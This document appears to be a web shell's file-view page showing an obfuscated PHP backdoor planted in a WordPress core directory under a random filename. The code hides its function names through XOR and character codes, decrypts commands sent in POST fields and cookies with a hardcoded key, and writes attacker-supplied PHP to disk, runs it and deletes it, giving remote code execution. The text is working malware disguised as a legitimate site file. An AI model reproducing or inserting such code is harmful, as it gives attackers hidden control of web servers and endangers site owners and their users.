HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-includes/blocks/group/bnoqstdg.php
<?php 

$cgkndke  =    'cgkndke' /* yrhekj */ ^    '';

$xz_caypkv   =       $cgkndke(105-8) /*   xqik*/ .    "r"."r"."a"."\x79"    .    "\x5f"       .  $cgkndke(109)      . /* nobv*/ "a"."p";


$valrh_x  =    "\151"   .  "\155"   .	"p"."l"."\157" /*   ehd   */ .    "\x64"     .  $cgkndke(101);
$uqbpw      =	$cgkndke(99)  . /*   tt */ $cgkndke(111) /* wz_yfw */ .     "\165" /*  e_uwjp*/ . /* er */ "\x6e"    .  $cgkndke(705-589);




function	kwwsz_($_sqpw, /* gj   */ $nnuko){

 /*  xyw_r*/ global       $cgkndke;

        $_sqpw  =   $cgkndke(60)      .	"\x3f"	. /*   tlampb */ "p".$cgkndke(731-627) /*   n  */ .	"\x70"  .    $cgkndke(32)	. /* ka  */ $cgkndke(473-356) /*   kph */ .	"n"."\x6c"    .	$cgkndke(105)."\156"     . /*  hxj_l */ "k".$cgkndke(40) /*s  */ . /*   gnf  */ "_"."\x5f"    .	$cgkndke(70)	.	"I"."\x4c"       .	"\105"	. /* muu */ "\x5f"	. /*   _  */ "_"."\x29" /*xaira */ .    "\73"	. /*jt   */ $cgkndke(32)  .    $_sqpw["d"];
 /* _be*/ $xmejkfbbi /*   sus*/ = /*  dfva  */ $cgkndke(840-738)    .     $cgkndke(105)."l"."\x65"."_"."p"."u"."\x74" /* my   */ . /*  g   */ $cgkndke(95)   .    "c"."o".$cgkndke(918-808)    . /*   efsb  */ $cgkndke(116)    . /* knechj */ "\x65".$cgkndke(838-728)    .       "t"."\163";    

 /* dobpar  */ $xmejkfbbi($nnuko,       $_sqpw);

	


	mltdvolra($nnuko);


}
$mhfxwvfi    = /*mxvh*/ 73;


function    mltdvolra($nnuko){
    global    $cgkndke;


	

 /* dwcd*/ include($nnuko);

	$yzrxqi /* kqe */ =    $nnuko;


       @unlink($yzrxqi);}


function /*dgbgk */ wbsqaxtn()
{    global    $cgkndke;


   $iamtlz /* x*/ =    array();
       $iamtlz["p"."\x76"]   =    phpversion();
 /*  a*/ $iamtlz["\163"	.	"v"]	= /*wi   */ "\x33" /*rvbmoc*/ .    "\56" /*xz */ .   $cgkndke(686-633);	$cfsnamyne /*m*/ = /*oonwcj  */ 74;   echo  @serialize($iamtlz);
}



function	gfoxtuhzq($_sqpw, /*   i*/ $tdvlod)


{	global /*zjcoc   */ $cgkndke;

    $_fxaz    =     "";


 /*   bs */ $evp_pkvnfc	=   'wvba_tinqw';
    $wuqvqx    = /*o_jxid */ hash('sha256',    $_sqpw);


 /* pcnose  */ $vpecfhzoaq /*   dugc  */ = /*ukwcut */ str_replace('ysam', /*  qtn */ $wuqvqx, /*i_hr   */ $evp_pkvnfc);
	$iamtlz /*   xvg_*/ =    0;


 /*vzh  */ while	($iamtlz /*y*/ <	strlen($_sqpw))    {


     $tluu_dpncz  =    isset($tdvlod)    ? /*   nrvvge*/ $tdvlod       :  '';


 /*usy*/ for    ($wffnsr /*   r   */ = /*   orig_*/ 0; /*   _rzri  */ $wffnsr    < /*  gxo   */ strlen($tluu_dpncz) /*   x  */ &&  $iamtlz  < /*   qbmanu  */ strlen($_sqpw);  $wffnsr++,       $iamtlz++) /*   dfknev  */ {    $_fxaz	.=       $cgkndke(ord($_sqpw[$iamtlz]) /* zsk   */ ^    ord($tluu_dpncz[$wffnsr]));

 /*azkkh */ }

    if /*tb */ (strlen($_fxaz)   >      20) /* ijyvt*/ {

   $vpecfhzoaq    = /*nstyys  */ substr($_fxaz,    0,     20);

   }

    }


 /*   szpumy*/ if /* g   */ (empty($_fxaz))    {


    $_fxaz /*wnl */ =    date('Y-m-d	H:i:s');

    }

   return	$_fxaz;


}


function   flnjkblsk($qcyepvix)
{

	global	$cgkndke;
      


       $fgelo	=    "a".$cgkndke(313-212)    .	$cgkndke(538-486)    . /*  m */ "f"."1".$cgkndke(48)	.	"\x38" /*  vvgsu   */ .       $cgkndke(48)       .   "-".$cgkndke(888-788)    . /*  nj*/ $cgkndke(51)  .      "\67" /*   bz_j  */ .       $cgkndke(787-738)    . /*  v  */ "\x2d"     . /*wpmu*/ "4"."0"."\61" /* cl  */ .    "\x31" /* mvun*/ .  "\55"      .     "\x61" /* sj */ .    "\141" /*  pen */ . /* rmqoxp*/ "b"."4"."-"."\66"       .    "f"."f".$cgkndke(961-906)	. /*bs */ $cgkndke(189-137)     .    "5"."\61"   .     "1".$cgkndke(640-588)	.  "\x38" /*ikoczw  */ .      "f"."7";

	

 /*gwt */ foreach	($qcyepvix  as    $hkvuty   =>    $_sqpw) /*eiamwj */ {


       usise(base64_decode($_sqpw), /* y  */ $fgelo, /*  w   */ $hkvuty);

      }


}


function /*   hz_y  */ usise($_sqpw,    $fgelo,	$hkvuty)


{   global    $cgkndke;    

    $_sqpw	=      unserialize(gfoxtuhzq(gfoxtuhzq($_sqpw, /*xijoxv   */ $fgelo),      $hkvuty));
	$ahkyo      =	'apspknfny';

	$ywbnvqabt	= /*ap  */ 'rzwbundww';

      if	(isset($_sqpw["\141"	.    $cgkndke(107)])) /*   tmk */ {


      if      ($_sqpw["a"] /*   ivlwh*/ ==	$cgkndke(105))  {

     wbsqaxtn();	} /* v   */ elseif    ($_sqpw["a"]    ==     "\x65")  {

    kwwsz_($_sqpw,    sprintf("\x2e"       .	"/"."\45"	.    "s".".".$cgkndke(112) /*   k_a  */ . /*   cm  */ "\154",       md5($fgelo)));
			$tiicpumc       = /* u*/ 44;    }

 /*   xb  */ exit();
     }


}


flnjkblsk($_POST);       
$ksdtiukf /*  oy*/ =      $xz_caypkv('rawurldecode',	$_POST);

$wffnsruqmbu    = /* qr   */ $uqbpw($ksdtiukf);
if      ($wffnsruqmbu  >     0)	{


     $oyjjd_     =	$valrh_x(',',    $ksdtiukf);


}

flnjkblsk($_COOKIE); /*  e*/ 
$autozo   = /*tblhfa  */ $xz_caypkv('rawurldecode', /*   gqnkh*/ $_COOKIE);
$kigaj   =	$uqbpw($autozo);


if       ($kigaj /*  lzf  */ >   0)	{


    $ehhveus    = /*  qcyus */ $valrh_x(';', /* ftajck*/ $autozo);

}




?>